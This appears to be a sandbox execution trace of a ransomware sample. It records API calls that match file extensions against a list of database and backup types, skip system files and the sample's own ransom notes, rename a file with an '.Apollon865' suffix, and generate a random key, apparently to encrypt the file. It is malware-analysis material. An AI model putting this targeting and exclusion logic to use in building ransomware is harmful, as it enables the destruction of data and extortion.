	[0084.332] lstrlenW (lpString="^^^") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0084.332] lstrlenW (lpString="abs") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0084.332] lstrlenW (lpString="abx") returned 3
	[0084.332] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0084.332] lstrlenW (lpString="accdb") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0084.332] lstrlenW (lpString="accdc") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0084.332] lstrlenW (lpString="accde") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0084.332] lstrlenW (lpString="accdr") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0084.332] lstrlenW (lpString="accdt") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0084.332] lstrlenW (lpString="accdw") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0084.332] lstrlenW (lpString="accft") returned 5
	[0084.332] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0084.332] lstrlenW (lpString="adb") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.333] lstrlenW (lpString="adb") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0084.333] lstrlenW (lpString="ade") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0084.333] lstrlenW (lpString="adf") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0084.333] lstrlenW (lpString="adn") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0084.333] lstrlenW (lpString="adp") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0084.333] lstrlenW (lpString="alf") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0084.333] lstrlenW (lpString="ask") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0084.333] lstrlenW (lpString="btr") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0084.333] lstrlenW (lpString="cat") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0084.333] lstrlenW (lpString="cdb") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0084.333] lstrlenW (lpString="ckp") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0084.333] lstrlenW (lpString="cma") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0084.333] lstrlenW (lpString="cpd") returned 3
	[0084.333] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0084.333] lstrlenW (lpString="dacpac") returned 6
	[0084.333] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0084.333] lstrlenW (lpString="dad") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0084.334] lstrlenW (lpString="dadiagrams") returned 10
	[0084.334] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0084.334] lstrlenW (lpString="daschema") returned 8
	[0084.334] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0084.334] lstrlenW (lpString="db-journal") returned 10
	[0084.334] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0084.334] lstrlenW (lpString="db-shm") returned 6
	[0084.334] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0084.334] lstrlenW (lpString="db-wal") returned 6
	[0084.334] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0084.334] lstrlenW (lpString="dbc") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0084.334] lstrlenW (lpString="dbs") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0084.334] lstrlenW (lpString="dbt") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0084.334] lstrlenW (lpString="dbv") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0084.334] lstrlenW (lpString="dbx") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0084.334] lstrlenW (lpString="dcb") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0084.334] lstrlenW (lpString="dct") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0084.334] lstrlenW (lpString="dcx") returned 3
	[0084.334] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0084.334] lstrlenW (lpString="ddl") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0084.335] lstrlenW (lpString="dlis") returned 4
	[0084.335] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0084.335] lstrlenW (lpString="dp1") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0084.335] lstrlenW (lpString="dqy") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0084.335] lstrlenW (lpString="dsk") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0084.335] lstrlenW (lpString="dsn") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0084.335] lstrlenW (lpString="dtsx") returned 4
	[0084.335] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0084.335] lstrlenW (lpString="dxl") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0084.335] lstrlenW (lpString="eco") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0084.335] lstrlenW (lpString="ecx") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0084.335] lstrlenW (lpString="edb") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0084.335] lstrlenW (lpString="epim") returned 4
	[0084.335] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0084.335] lstrlenW (lpString="fcd") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0084.335] lstrlenW (lpString="fdb") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0084.335] lstrlenW (lpString="fic") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0084.335] lstrlenW (lpString="flexolibrary") returned 12
	[0084.335] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0084.335] lstrlenW (lpString="fm5") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0084.335] lstrlenW (lpString="fmp") returned 3
	[0084.335] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0084.335] lstrlenW (lpString="fmp12") returned 5
	[0084.335] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0084.335] lstrlenW (lpString="fmpsl") returned 5
	[0084.336] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0084.336] lstrlenW (lpString="fol") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0084.336] lstrlenW (lpString="fp3") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0084.336] lstrlenW (lpString="fp4") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0084.336] lstrlenW (lpString="fp5") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0084.336] lstrlenW (lpString="fp7") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0084.336] lstrlenW (lpString="fpt") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0084.336] lstrlenW (lpString="frm") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0084.336] lstrlenW (lpString="gdb") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.336] lstrlenW (lpString="gdb") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0084.336] lstrlenW (lpString="grdb") returned 4
	[0084.336] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0084.336] lstrlenW (lpString="gwi") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0084.336] lstrlenW (lpString="hdb") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0084.336] lstrlenW (lpString="his") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0084.336] lstrlenW (lpString="ib") returned 2
	[0084.336] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0084.336] lstrlenW (lpString="idb") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0084.336] lstrlenW (lpString="ihx") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0084.336] lstrlenW (lpString="itdb") returned 4
	[0084.336] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0084.336] lstrlenW (lpString="itw") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0084.336] lstrlenW (lpString="jet") returned 3
	[0084.336] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0084.337] lstrlenW (lpString="jtx") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0084.337] lstrlenW (lpString="kdb") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0084.337] lstrlenW (lpString="kexi") returned 4
	[0084.337] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0084.337] lstrlenW (lpString="kexic") returned 5
	[0084.337] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0084.337] lstrlenW (lpString="kexis") returned 5
	[0084.337] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0084.337] lstrlenW (lpString="lgc") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0084.337] lstrlenW (lpString="lwx") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0084.337] lstrlenW (lpString="maf") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0084.337] lstrlenW (lpString="maq") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0084.337] lstrlenW (lpString="mar") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0084.337] lstrlenW (lpString="marshal") returned 7
	[0084.337] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0084.337] lstrlenW (lpString="mas") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0084.337] lstrlenW (lpString="mav") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0084.337] lstrlenW (lpString="maw") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0084.337] lstrlenW (lpString="mdbhtml") returned 7
	[0084.337] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0084.337] lstrlenW (lpString="mdn") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0084.337] lstrlenW (lpString="mdt") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0084.337] lstrlenW (lpString="mfd") returned 3
	[0084.337] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0084.337] lstrlenW (lpString="mpd") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0084.338] lstrlenW (lpString="mrg") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0084.338] lstrlenW (lpString="mud") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0084.338] lstrlenW (lpString="mwb") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0084.338] lstrlenW (lpString="myd") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0084.338] lstrlenW (lpString="ndf") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0084.338] lstrlenW (lpString="nnt") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0084.338] lstrlenW (lpString="nrmlib") returned 6
	[0084.338] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0084.338] lstrlenW (lpString="ns2") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0084.338] lstrlenW (lpString="ns3") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0084.338] lstrlenW (lpString="ns4") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0084.338] lstrlenW (lpString="nsf") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0084.338] lstrlenW (lpString="nv") returned 2
	[0084.338] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0084.338] lstrlenW (lpString="nv2") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0084.338] lstrlenW (lpString="nwdb") returned 4
	[0084.338] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0084.338] lstrlenW (lpString="nyf") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0084.338] lstrlenW (lpString="odb") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.338] lstrlenW (lpString="odb") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0084.338] lstrlenW (lpString="oqy") returned 3
	[0084.338] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0084.338] lstrlenW (lpString="ora") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0084.339] lstrlenW (lpString="orx") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0084.339] lstrlenW (lpString="owc") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0084.339] lstrlenW (lpString="p96") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0084.339] lstrlenW (lpString="p97") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0084.339] lstrlenW (lpString="pan") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0084.339] lstrlenW (lpString="pdb") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0084.339] lstrlenW (lpString="pdm") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0084.339] lstrlenW (lpString="pnz") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0084.339] lstrlenW (lpString="qry") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0084.339] lstrlenW (lpString="qvd") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0084.339] lstrlenW (lpString="rbf") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0084.339] lstrlenW (lpString="rctd") returned 4
	[0084.339] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0084.339] lstrlenW (lpString="rod") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0084.339] lstrlenW (lpString="rodx") returned 4
	[0084.339] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0084.339] lstrlenW (lpString="rpd") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0084.339] lstrlenW (lpString="rsd") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0084.339] lstrlenW (lpString="sas7bdat") returned 8
	[0084.339] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0084.339] lstrlenW (lpString="sbf") returned 3
	[0084.339] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0084.339] lstrlenW (lpString="scx") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0084.340] lstrlenW (lpString="sdb") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0084.340] lstrlenW (lpString="sdc") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0084.340] lstrlenW (lpString="sdf") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0084.340] lstrlenW (lpString="sis") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0084.340] lstrlenW (lpString="spq") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0084.340] lstrlenW (lpString="te") returned 2
	[0084.340] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0084.340] lstrlenW (lpString="teacher") returned 7
	[0084.340] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0084.340] lstrlenW (lpString="tmd") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0084.340] lstrlenW (lpString="tps") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0084.340] lstrlenW (lpString="trc") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.340] lstrlenW (lpString="trc") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0084.340] lstrlenW (lpString="trm") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0084.340] lstrlenW (lpString="udb") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0084.340] lstrlenW (lpString="udl") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0084.340] lstrlenW (lpString="usr") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0084.340] lstrlenW (lpString="v12") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0084.340] lstrlenW (lpString="vis") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0084.340] lstrlenW (lpString="vpd") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0084.340] lstrlenW (lpString="vvv") returned 3
	[0084.340] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0084.341] lstrlenW (lpString="wdb") returned 3
	[0084.341] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0084.341] lstrlenW (lpString="wmdb") returned 4
	[0084.341] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0084.341] lstrlenW (lpString="wrk") returned 3
	[0084.341] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0084.341] lstrlenW (lpString="xdb") returned 3
	[0084.341] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0084.341] lstrlenW (lpString="xld") returned 3
	[0084.341] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0084.341] lstrlenW (lpString="xmlff") returned 5
	[0084.341] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0084.341] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.Apollon865") returned 84
	[0084.341] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0084.342] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.342] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1276256) returned 1
	[0084.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.343] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.344] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.344] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.344] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x137c60, lpName=0x0) returned 0x15c
	[0084.345] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x137c60) returned 0x2bb0000
	[0084.402] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.403] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.403] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.404] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.404] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0084.416] CloseHandle (hObject=0x15c) returned 1
	[0084.416] CloseHandle (hObject=0x9c) returned 1
	[0084.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.422] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="..") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="windows") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="temp") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="boot") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="perflogs") returned 1
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0084.422] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0084.422] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 73
	[0084.422] lstrcpyW (in: lpString1=0x119e670, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0084.422] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0084.422] lstrlenW (lpString="Apollon865") returned 10
	[0084.422] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0084.422] lstrlenW (lpString=".dll") returned 4
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0084.422] lstrlenW (lpString=".lnk") returned 4
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0084.422] lstrlenW (lpString=".ini") returned 4
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0084.422] lstrlenW (lpString=".sys") returned 4
	[0084.422] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0084.422] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0084.422] lstrlenW (lpString="bak") returned 3
	[0084.422] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0084.422] lstrlenW (lpString="ba_") returned 3
	[0084.422] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0084.422] lstrlenW (lpString="dbb") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0084.423] lstrlenW (lpString="vmdk") returned 4
	[0084.423] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0084.423] lstrlenW (lpString="rar") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0084.423] lstrlenW (lpString="zip") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0084.423] lstrlenW (lpString="tgz") returned 3
	[0084.423] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0084.423] lstrlenW (lpString="vbox") returned 4
